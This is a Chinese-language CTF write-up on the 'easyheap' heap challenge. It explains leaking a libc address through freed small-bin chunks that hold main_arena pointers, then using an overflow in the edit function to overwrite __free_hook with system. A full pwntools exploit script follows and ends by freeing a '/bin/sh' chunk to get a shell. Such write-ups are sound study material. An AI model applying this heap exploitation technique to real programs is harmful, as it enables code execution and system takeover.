在0ctf 2017的时候,当时才开始学pwn,所以做不出来题似乎也给自己找了一点心安的理由。可是居然一直没有去回顾比赛中的题,过了这么久才发现里面的题质量真的是高。
其实之前比较熟悉的都是fast bin的一些东西,所以这次国赛的题也是吃了一回鳖。我就拿这次国赛的题,来记录一下利用small bin leak libc地址的一些东西。
这张图相比都见得比较多了,但是以前一直都没有仔细观察过,果然还是有很长的路要走啊(orz
可以发现,这几个chunk都是一个双向链表,而其中就包涵了main_arena的地址信息。所以,只要我们能获取到已经释放了的块中的信息,我们是可以算出libc的基质的。
这里我拿这次国赛的题举例,类似的题还有0ctf 2017里面的babyheap,大家也可以去看看。
首先,我们可以先创建几个chunk,之后再free掉,这时候就有main arena的地址信息,之后只要再创建一个,然后不输入任何信息,就可以获得地址信息了。
获得地址信息后,我们可以发现,这道题在edit中存在溢出:
这就可以让我们修改其他chunk的字符串地址,就可以实现任意地址读写。
这里可以选择覆盖free_hook为system的地址,然后创建一个数据为‘/bin/sh’的chunk,free掉就可以拿到shell了。
#-*-coding:utf-8-*-
from pwn import *
p = process('./easyheap', env = {'LD_PRELOAD' : '/home/pzhxbz/桌面/content/2017/libc.so.6'})
libc = ELF('libc.so.6')
def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
def create(content_size, content):
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(content_size))
p.recvuntil('Content:')
p.sendline(content)
p.recvuntil('Create done!')
# id = p.recvline()
#return eval(id)
return
def edit(id, new_size, content):
p.sendline('2')
p.recvuntil('id:')
p.sendline(str(id))
p.recvuntil('Size:')
p.sendline(str(new_size))
p.recvuntil('Content:')
p.send(content)
p.recvuntil('done!')
def list(id):
p.sendline('3')
p.recvuntil('id:'+str(id))
p.recvuntil('content:')
return p.recvline()
def remove(id):
p.sendline('4')
p.recvuntil('id:')
p.sendline(str(id))
#p.recvuntil('done!')
create(0x90, '1'*0x8f) # create small bin
create(0x90, 'a'*0x8f)
create(0x90, 'b'*0x8f)
create(0x90, '/bin/sh')
remove(0)
remove(1)
create(0x90,'')
recv = list(0)
#launch_gdb()
main_arena = u64(recv[0:6].ljust(8, '\x00')) # leak main arena address
log.info('main arena address = ' + hex(main_arena))
libc_base = main_arena - 0x3c4b78
system_address = libc_base + 0x45390 # libc.symbols['system']
free_hook_address = libc_base + 0x3c67a8 # libc.symbols['__free_hook']
log.info('system_address = ' + hex(system_address))
log.info('free_hook_address = ' + hex(free_hook_address))
create(0x90, p64(system_address)) #0
edit(0, 0x90+0x20, 'a'*0xa0 + p64(0x90) + p64(free_hook_address))
#launch_gdb()
edit(0, 8, p64(system_address)) #1
#create(0x90,'')
remove(3)
p.interactive()
#edit(1, 0x80, 'a'*0x40+)
#list(2)